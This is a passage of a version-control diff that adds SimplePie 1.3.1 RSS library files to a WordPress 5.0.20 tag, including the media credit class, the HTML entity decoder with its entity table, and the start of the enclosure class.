+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<media:credit>` as defined in Media RSS
+ *
+ * Used by {@see SimplePie_Enclosure::get_credit()} and {@see SimplePie_Enclosure::get_credits()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_credit_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Credit
+{
+	/**
+	 * Credited role
+	 *
+	 * @var string
+	 * @see get_role()
+	 */
+	var $role;
+
+	/**
+	 * Organizational scheme
+	 *
+	 * @var string
+	 * @see get_scheme()
+	 */
+	var $scheme;
+
+	/**
+	 * Credited name
+	 *
+	 * @var string
+	 * @see get_name()
+	 */
+	var $name;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($role = null, $scheme = null, $name = null)
+	{
+		$this->role = $role;
+		$this->scheme = $scheme;
+		$this->name = $name;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the role of the person receiving credit
+	 *
+	 * @return string|null
+	 */
+	public function get_role()
+	{
+		if ($this->role !== null)
+		{
+			return $this->role;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the organizational scheme
+	 *
+	 * @return string|null
+	 */
+	public function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the credited person/entity's name
+	 *
+	 * @return string|null
+	 */
+	public function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Decode/HTML/Entities.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Decode/HTML/Entities.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Decode/HTML/Entities.php	(revision 56912)
@@ -0,0 +1,617 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Decode HTML Entities
+ *
+ * This implements HTML5 as of revision 967 (2007-06-28)
+ *
+ * @deprecated Use DOMDocument instead!
+ * @package SimplePie
+ */
+class SimplePie_Decode_HTML_Entities
+{
+	/**
+	 * Data to be parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Currently consumed bytes
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $consumed = '';
+
+	/**
+	 * Position of the current byte being parsed
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $position = 0;
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	public function __construct($data)
+	{
+		$this->data = $data;
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return string Output data
+	 */
+	public function parse()
+	{
+		while (($this->position = strpos($this->data, '&', $this->position)) !== false)
+		{
+			$this->consume();
+			$this->entity();
+			$this->consumed = '';
+		}
+		return $this->data;
+	}
+
+	/**
+	 * Consume the next byte
+	 *
+	 * @access private
+	 * @return mixed The next byte, or false, if there is no more data
+	 */
+	public function consume()
+	{
+		if (isset($this->data[$this->position]))
+		{
+			$this->consumed .= $this->data[$this->position];
+			return $this->data[$this->position++];
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Consume a range of characters
+	 *
+	 * @access private
+	 * @param string $chars Characters to consume
+	 * @return mixed A series of characters that match the range, or false
+	 */
+	public function consume_range($chars)
+	{
+		if ($len = strspn($this->data, $chars, $this->position))
+		{
+			$data = substr($this->data, $this->position, $len);
+			$this->consumed .= $data;
+			$this->position += $len;
+			return $data;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Unconsume one byte
+	 *
+	 * @access private
+	 */
+	public function unconsume()
+	{
+		$this->consumed = substr($this->consumed, 0, -1);
+		$this->position--;
+	}
+
+	/**
+	 * Decode an entity
+	 *
+	 * @access private
+	 */
+	public function entity()
+	{
+		switch ($this->consume())
+		{
+			case "\x09":
+			case "\x0A":
+			case "\x0B":
+			case "\x0B":
+			case "\x0C":
+			case "\x20":
+			case "\x3C":
+			case "\x26":
+			case false:
+				break;
+
+			case "\x23":
+				switch ($this->consume())
+				{
+					case "\x78":
+					case "\x58":
+						$range = '0123456789ABCDEFabcdef';
+						$hex = true;
+						break;
+
+					default:
+						$range = '0123456789';
+						$hex = false;
+						$this->unconsume();
+						break;
+				}
+
+				if ($codepoint = $this->consume_range($range))
+				{
+					static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8");
+
+					if ($hex)
+					{
+						$codepoint = hexdec($codepoint);
+					}
+					else
+					{
+						$codepoint = intval($codepoint);
+					}
+
+					if (isset($windows_1252_specials[$codepoint]))
+					{
+						$replacement = $windows_1252_specials[$codepoint];
+					}
+					else
+					{
+						$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
+					}
+
+					if (!in_array($this->consume(), array(';', false), true))
+					{
+						$this->unconsume();
+					}
+
+					$consumed_length = strlen($this->consumed);
+					$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
+					$this->position += strlen($replacement) - $consumed_length;
+				}
+				break;
+
+			default:
+				static $entities = array(
+					'Aacute' => "\xC3\x81",
+					'aacute' => "\xC3\xA1",
+					'Aacute;' => "\xC3\x81",
+					'aacute;' => "\xC3\xA1",
+					'Acirc' => "\xC3\x82",
+					'acirc' => "\xC3\xA2",
+					'Acirc;' => "\xC3\x82",
+					'acirc;' => "\xC3\xA2",
+					'acute' => "\xC2\xB4",
+					'acute;' => "\xC2\xB4",
+					'AElig' => "\xC3\x86",
+					'aelig' => "\xC3\xA6",
+					'AElig;' => "\xC3\x86",
+					'aelig;' => "\xC3\xA6",
+					'Agrave' => "\xC3\x80",
+					'agrave' => "\xC3\xA0",
+					'Agrave;' => "\xC3\x80",
+					'agrave;' => "\xC3\xA0",
+					'alefsym;' => "\xE2\x84\xB5",
+					'Alpha;' => "\xCE\x91",
+					'alpha;' => "\xCE\xB1",
+					'AMP' => "\x26",
+					'amp' => "\x26",
+					'AMP;' => "\x26",
+					'amp;' => "\x26",
+					'and;' => "\xE2\x88\xA7",
+					'ang;' => "\xE2\x88\xA0",
+					'apos;' => "\x27",
+					'Aring' => "\xC3\x85",
+					'aring' => "\xC3\xA5",
+					'Aring;' => "\xC3\x85",
+					'aring;' => "\xC3\xA5",
+					'asymp;' => "\xE2\x89\x88",
+					'Atilde' => "\xC3\x83",
+					'atilde' => "\xC3\xA3",
+					'Atilde;' => "\xC3\x83",
+					'atilde;' => "\xC3\xA3",
+					'Auml' => "\xC3\x84",
+					'auml' => "\xC3\xA4",
+					'Auml;' => "\xC3\x84",
+					'auml;' => "\xC3\xA4",
+					'bdquo;' => "\xE2\x80\x9E",
+					'Beta;' => "\xCE\x92",
+					'beta;' => "\xCE\xB2",
+					'brvbar' => "\xC2\xA6",
+					'brvbar;' => "\xC2\xA6",
+					'bull;' => "\xE2\x80\xA2",
+					'cap;' => "\xE2\x88\xA9",
+					'Ccedil' => "\xC3\x87",
+					'ccedil' => "\xC3\xA7",
+					'Ccedil;' => "\xC3\x87",
+					'ccedil;' => "\xC3\xA7",
+					'cedil' => "\xC2\xB8",
+					'cedil;' => "\xC2\xB8",
+					'cent' => "\xC2\xA2",
+					'cent;' => "\xC2\xA2",
+					'Chi;' => "\xCE\xA7",
+					'chi;' => "\xCF\x87",
+					'circ;' => "\xCB\x86",
+					'clubs;' => "\xE2\x99\xA3",
+					'cong;' => "\xE2\x89\x85",
+					'COPY' => "\xC2\xA9",
+					'copy' => "\xC2\xA9",
+					'COPY;' => "\xC2\xA9",
+					'copy;' => "\xC2\xA9",
+					'crarr;' => "\xE2\x86\xB5",
+					'cup;' => "\xE2\x88\xAA",
+					'curren' => "\xC2\xA4",
+					'curren;' => "\xC2\xA4",
+					'Dagger;' => "\xE2\x80\xA1",
+					'dagger;' => "\xE2\x80\xA0",
+					'dArr;' => "\xE2\x87\x93",
+					'darr;' => "\xE2\x86\x93",
+					'deg' => "\xC2\xB0",
+					'deg;' => "\xC2\xB0",
+					'Delta;' => "\xCE\x94",
+					'delta;' => "\xCE\xB4",
+					'diams;' => "\xE2\x99\xA6",
+					'divide' => "\xC3\xB7",
+					'divide;' => "\xC3\xB7",
+					'Eacute' => "\xC3\x89",
+					'eacute' => "\xC3\xA9",
+					'Eacute;' => "\xC3\x89",
+					'eacute;' => "\xC3\xA9",
+					'Ecirc' => "\xC3\x8A",
+					'ecirc' => "\xC3\xAA",
+					'Ecirc;' => "\xC3\x8A",
+					'ecirc;' => "\xC3\xAA",
+					'Egrave' => "\xC3\x88",
+					'egrave' => "\xC3\xA8",
+					'Egrave;' => "\xC3\x88",
+					'egrave;' => "\xC3\xA8",
+					'empty;' => "\xE2\x88\x85",
+					'emsp;' => "\xE2\x80\x83",
+					'ensp;' => "\xE2\x80\x82",
+					'Epsilon;' => "\xCE\x95",
+					'epsilon;' => "\xCE\xB5",
+					'equiv;' => "\xE2\x89\xA1",
+					'Eta;' => "\xCE\x97",
+					'eta;' => "\xCE\xB7",
+					'ETH' => "\xC3\x90",
+					'eth' => "\xC3\xB0",
+					'ETH;' => "\xC3\x90",
+					'eth;' => "\xC3\xB0",
+					'Euml' => "\xC3\x8B",
+					'euml' => "\xC3\xAB",
+					'Euml;' => "\xC3\x8B",
+					'euml;' => "\xC3\xAB",
+					'euro;' => "\xE2\x82\xAC",
+					'exist;' => "\xE2\x88\x83",
+					'fnof;' => "\xC6\x92",
+					'forall;' => "\xE2\x88\x80",
+					'frac12' => "\xC2\xBD",
+					'frac12;' => "\xC2\xBD",
+					'frac14' => "\xC2\xBC",
+					'frac14;' => "\xC2\xBC",
+					'frac34' => "\xC2\xBE",
+					'frac34;' => "\xC2\xBE",
+					'frasl;' => "\xE2\x81\x84",
+					'Gamma;' => "\xCE\x93",
+					'gamma;' => "\xCE\xB3",
+					'ge;' => "\xE2\x89\xA5",
+					'GT' => "\x3E",
+					'gt' => "\x3E",
+					'GT;' => "\x3E",
+					'gt;' => "\x3E",
+					'hArr;' => "\xE2\x87\x94",
+					'harr;' => "\xE2\x86\x94",
+					'hearts;' => "\xE2\x99\xA5",
+					'hellip;' => "\xE2\x80\xA6",
+					'Iacute' => "\xC3\x8D",
+					'iacute' => "\xC3\xAD",
+					'Iacute;' => "\xC3\x8D",
+					'iacute;' => "\xC3\xAD",
+					'Icirc' => "\xC3\x8E",
+					'icirc' => "\xC3\xAE",
+					'Icirc;' => "\xC3\x8E",
+					'icirc;' => "\xC3\xAE",
+					'iexcl' => "\xC2\xA1",
+					'iexcl;' => "\xC2\xA1",
+					'Igrave' => "\xC3\x8C",
+					'igrave' => "\xC3\xAC",
+					'Igrave;' => "\xC3\x8C",
+					'igrave;' => "\xC3\xAC",
+					'image;' => "\xE2\x84\x91",
+					'infin;' => "\xE2\x88\x9E",
+					'int;' => "\xE2\x88\xAB",
+					'Iota;' => "\xCE\x99",
+					'iota;' => "\xCE\xB9",
+					'iquest' => "\xC2\xBF",
+					'iquest;' => "\xC2\xBF",
+					'isin;' => "\xE2\x88\x88",
+					'Iuml' => "\xC3\x8F",
+					'iuml' => "\xC3\xAF",
+					'Iuml;' => "\xC3\x8F",
+					'iuml;' => "\xC3\xAF",
+					'Kappa;' => "\xCE\x9A",
+					'kappa;' => "\xCE\xBA",
+					'Lambda;' => "\xCE\x9B",
+					'lambda;' => "\xCE\xBB",
+					'lang;' => "\xE3\x80\x88",
+					'laquo' => "\xC2\xAB",
+					'laquo;' => "\xC2\xAB",
+					'lArr;' => "\xE2\x87\x90",
+					'larr;' => "\xE2\x86\x90",
+					'lceil;' => "\xE2\x8C\x88",
+					'ldquo;' => "\xE2\x80\x9C",
+					'le;' => "\xE2\x89\xA4",
+					'lfloor;' => "\xE2\x8C\x8A",
+					'lowast;' => "\xE2\x88\x97",
+					'loz;' => "\xE2\x97\x8A",
+					'lrm;' => "\xE2\x80\x8E",
+					'lsaquo;' => "\xE2\x80\xB9",
+					'lsquo;' => "\xE2\x80\x98",
+					'LT' => "\x3C",
+					'lt' => "\x3C",
+					'LT;' => "\x3C",
+					'lt;' => "\x3C",
+					'macr' => "\xC2\xAF",
+					'macr;' => "\xC2\xAF",
+					'mdash;' => "\xE2\x80\x94",
+					'micro' => "\xC2\xB5",
+					'micro;' => "\xC2\xB5",
+					'middot' => "\xC2\xB7",
+					'middot;' => "\xC2\xB7",
+					'minus;' => "\xE2\x88\x92",
+					'Mu;' => "\xCE\x9C",
+					'mu;' => "\xCE\xBC",
+					'nabla;' => "\xE2\x88\x87",
+					'nbsp' => "\xC2\xA0",
+					'nbsp;' => "\xC2\xA0",
+					'ndash;' => "\xE2\x80\x93",
+					'ne;' => "\xE2\x89\xA0",
+					'ni;' => "\xE2\x88\x8B",
+					'not' => "\xC2\xAC",
+					'not;' => "\xC2\xAC",
+					'notin;' => "\xE2\x88\x89",
+					'nsub;' => "\xE2\x8A\x84",
+					'Ntilde' => "\xC3\x91",
+					'ntilde' => "\xC3\xB1",
+					'Ntilde;' => "\xC3\x91",
+					'ntilde;' => "\xC3\xB1",
+					'Nu;' => "\xCE\x9D",
+					'nu;' => "\xCE\xBD",
+					'Oacute' => "\xC3\x93",
+					'oacute' => "\xC3\xB3",
+					'Oacute;' => "\xC3\x93",
+					'oacute;' => "\xC3\xB3",
+					'Ocirc' => "\xC3\x94",
+					'ocirc' => "\xC3\xB4",
+					'Ocirc;' => "\xC3\x94",
+					'ocirc;' => "\xC3\xB4",
+					'OElig;' => "\xC5\x92",
+					'oelig;' => "\xC5\x93",
+					'Ograve' => "\xC3\x92",
+					'ograve' => "\xC3\xB2",
+					'Ograve;' => "\xC3\x92",
+					'ograve;' => "\xC3\xB2",
+					'oline;' => "\xE2\x80\xBE",
+					'Omega;' => "\xCE\xA9",
+					'omega;' => "\xCF\x89",
+					'Omicron;' => "\xCE\x9F",
+					'omicron;' => "\xCE\xBF",
+					'oplus;' => "\xE2\x8A\x95",
+					'or;' => "\xE2\x88\xA8",
+					'ordf' => "\xC2\xAA",
+					'ordf;' => "\xC2\xAA",
+					'ordm' => "\xC2\xBA",
+					'ordm;' => "\xC2\xBA",
+					'Oslash' => "\xC3\x98",
+					'oslash' => "\xC3\xB8",
+					'Oslash;' => "\xC3\x98",
+					'oslash;' => "\xC3\xB8",
+					'Otilde' => "\xC3\x95",
+					'otilde' => "\xC3\xB5",
+					'Otilde;' => "\xC3\x95",
+					'otilde;' => "\xC3\xB5",
+					'otimes;' => "\xE2\x8A\x97",
+					'Ouml' => "\xC3\x96",
+					'ouml' => "\xC3\xB6",
+					'Ouml;' => "\xC3\x96",
+					'ouml;' => "\xC3\xB6",
+					'para' => "\xC2\xB6",
+					'para;' => "\xC2\xB6",
+					'part;' => "\xE2\x88\x82",
+					'permil;' => "\xE2\x80\xB0",
+					'perp;' => "\xE2\x8A\xA5",
+					'Phi;' => "\xCE\xA6",
+					'phi;' => "\xCF\x86",
+					'Pi;' => "\xCE\xA0",
+					'pi;' => "\xCF\x80",
+					'piv;' => "\xCF\x96",
+					'plusmn' => "\xC2\xB1",
+					'plusmn;' => "\xC2\xB1",
+					'pound' => "\xC2\xA3",
+					'pound;' => "\xC2\xA3",
+					'Prime;' => "\xE2\x80\xB3",
+					'prime;' => "\xE2\x80\xB2",
+					'prod;' => "\xE2\x88\x8F",
+					'prop;' => "\xE2\x88\x9D",
+					'Psi;' => "\xCE\xA8",
+					'psi;' => "\xCF\x88",
+					'QUOT' => "\x22",
+					'quot' => "\x22",
+					'QUOT;' => "\x22",
+					'quot;' => "\x22",
+					'radic;' => "\xE2\x88\x9A",
+					'rang;' => "\xE3\x80\x89",
+					'raquo' => "\xC2\xBB",
+					'raquo;' => "\xC2\xBB",
+					'rArr;' => "\xE2\x87\x92",
+					'rarr;' => "\xE2\x86\x92",
+					'rceil;' => "\xE2\x8C\x89",
+					'rdquo;' => "\xE2\x80\x9D",
+					'real;' => "\xE2\x84\x9C",
+					'REG' => "\xC2\xAE",
+					'reg' => "\xC2\xAE",
+					'REG;' => "\xC2\xAE",
+					'reg;' => "\xC2\xAE",
+					'rfloor;' => "\xE2\x8C\x8B",
+					'Rho;' => "\xCE\xA1",
+					'rho;' => "\xCF\x81",
+					'rlm;' => "\xE2\x80\x8F",
+					'rsaquo;' => "\xE2\x80\xBA",
+					'rsquo;' => "\xE2\x80\x99",
+					'sbquo;' => "\xE2\x80\x9A",
+					'Scaron;' => "\xC5\xA0",
+					'scaron;' => "\xC5\xA1",
+					'sdot;' => "\xE2\x8B\x85",
+					'sect' => "\xC2\xA7",
+					'sect;' => "\xC2\xA7",
+					'shy' => "\xC2\xAD",
+					'shy;' => "\xC2\xAD",
+					'Sigma;' => "\xCE\xA3",
+					'sigma;' => "\xCF\x83",
+					'sigmaf;' => "\xCF\x82",
+					'sim;' => "\xE2\x88\xBC",
+					'spades;' => "\xE2\x99\xA0",
+					'sub;' => "\xE2\x8A\x82",
+					'sube;' => "\xE2\x8A\x86",
+					'sum;' => "\xE2\x88\x91",
+					'sup;' => "\xE2\x8A\x83",
+					'sup1' => "\xC2\xB9",
+					'sup1;' => "\xC2\xB9",
+					'sup2' => "\xC2\xB2",
+					'sup2;' => "\xC2\xB2",
+					'sup3' => "\xC2\xB3",
+					'sup3;' => "\xC2\xB3",
+					'supe;' => "\xE2\x8A\x87",
+					'szlig' => "\xC3\x9F",
+					'szlig;' => "\xC3\x9F",
+					'Tau;' => "\xCE\xA4",
+					'tau;' => "\xCF\x84",
+					'there4;' => "\xE2\x88\xB4",
+					'Theta;' => "\xCE\x98",
+					'theta;' => "\xCE\xB8",
+					'thetasym;' => "\xCF\x91",
+					'thinsp;' => "\xE2\x80\x89",
+					'THORN' => "\xC3\x9E",
+					'thorn' => "\xC3\xBE",
+					'THORN;' => "\xC3\x9E",
+					'thorn;' => "\xC3\xBE",
+					'tilde;' => "\xCB\x9C",
+					'times' => "\xC3\x97",
+					'times;' => "\xC3\x97",
+					'TRADE;' => "\xE2\x84\xA2",
+					'trade;' => "\xE2\x84\xA2",
+					'Uacute' => "\xC3\x9A",
+					'uacute' => "\xC3\xBA",
+					'Uacute;' => "\xC3\x9A",
+					'uacute;' => "\xC3\xBA",
+					'uArr;' => "\xE2\x87\x91",
+					'uarr;' => "\xE2\x86\x91",
+					'Ucirc' => "\xC3\x9B",
+					'ucirc' => "\xC3\xBB",
+					'Ucirc;' => "\xC3\x9B",
+					'ucirc;' => "\xC3\xBB",
+					'Ugrave' => "\xC3\x99",
+					'ugrave' => "\xC3\xB9",
+					'Ugrave;' => "\xC3\x99",
+					'ugrave;' => "\xC3\xB9",
+					'uml' => "\xC2\xA8",
+					'uml;' => "\xC2\xA8",
+					'upsih;' => "\xCF\x92",
+					'Upsilon;' => "\xCE\xA5",
+					'upsilon;' => "\xCF\x85",
+					'Uuml' => "\xC3\x9C",
+					'uuml' => "\xC3\xBC",
+					'Uuml;' => "\xC3\x9C",
+					'uuml;' => "\xC3\xBC",
+					'weierp;' => "\xE2\x84\x98",
+					'Xi;' => "\xCE\x9E",
+					'xi;' => "\xCE\xBE",
+					'Yacute' => "\xC3\x9D",
+					'yacute' => "\xC3\xBD",
+					'Yacute;' => "\xC3\x9D",
+					'yacute;' => "\xC3\xBD",
+					'yen' => "\xC2\xA5",
+					'yen;' => "\xC2\xA5",
+					'yuml' => "\xC3\xBF",
+					'Yuml;' => "\xC5\xB8",
+					'yuml;' => "\xC3\xBF",
+					'Zeta;' => "\xCE\x96",
+					'zeta;' => "\xCE\xB6",
+					'zwj;' => "\xE2\x80\x8D",
+					'zwnj;' => "\xE2\x80\x8C"
+				);
+
+				for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++)
+				{
+					$consumed = substr($this->consumed, 1);
+					if (isset($entities[$consumed]))
+					{
+						$match = $consumed;
+					}
+				}
+
+				if ($match !== null)
+				{
+ 					$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
+					$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
+				}
+				break;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Enclosure.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Enclosure.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Enclosure.php	(revision 56912)
@@ -0,0 +1,1380 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles everything related to enclosures (including Media RSS and iTunes RSS)
+ *
+ * Used by {@see SimplePie_Item::get_enclosure()} and {@see SimplePie_Item::get_enclosures()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_enclosure_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Enclosure
+{
+	/**
+	 * @var string
+	 * @see get_bitrate()
+	 */
+	var $bitrate;
+
+	/**
+	 * @var array
+	 * @see get_captions()
+	 */
+	var $captions;
+
+	/**
+	 * @var array
+	 * @see get_categories()
+	 */
+	var $categories;
+
+	/**
+	 * @var int
+	 * @see get_channels()
+	 */
+	var $channels;
+
+	/**
+	 * @var SimplePie_Copyright
+	 * @see get_copyright()
+	 */
+	var $copyright;
+
+	/**
+	 * @var array
+	 * @see get_credits()
+	 */
+	var $credits;
+
+	/**
+	 * @var string
+	 * @see get_description()
+	 */
+	var $description;
+
+	/**
+	 * @var int
+	 * @see get_duration()
+	 */
+	var $duration;
+
+	/**
+	 * @var string
+	 * @see get_expression()
+	 */
+	var $expression;
+
+	/**
+	 * @var string
+	 * @see get_framerate()
+	 */
+	var $framerate;
+
+	/**
+	 * @var string
+	 * @see get_handler()
+	 */
+	var $handler;
+
+	/**
+	 * @var array
+	 * @see get_hashes()
+	 */
+	var $hashes;
+
+	/**
+	 * @var string
+	 * @see get_height()
+	 */
+	var $height;
+
+	/**
+	 * @deprecated
+	 * @var null
+	 */
+	var $javascript;
+
+	/**
+	 * @var array
+	 * @see get_keywords()
+	 */
+	var $keywords;
+
+	/**
+	 * @var string
+	 * @see get_language()
+	 */
+	var $lang;
+
+	/**
+	 * @var string
+	 * @see get_length()
+	 */
+	var $length;
+
+	/**
+	 * @var string
+	 * @see get_link()
+	 */
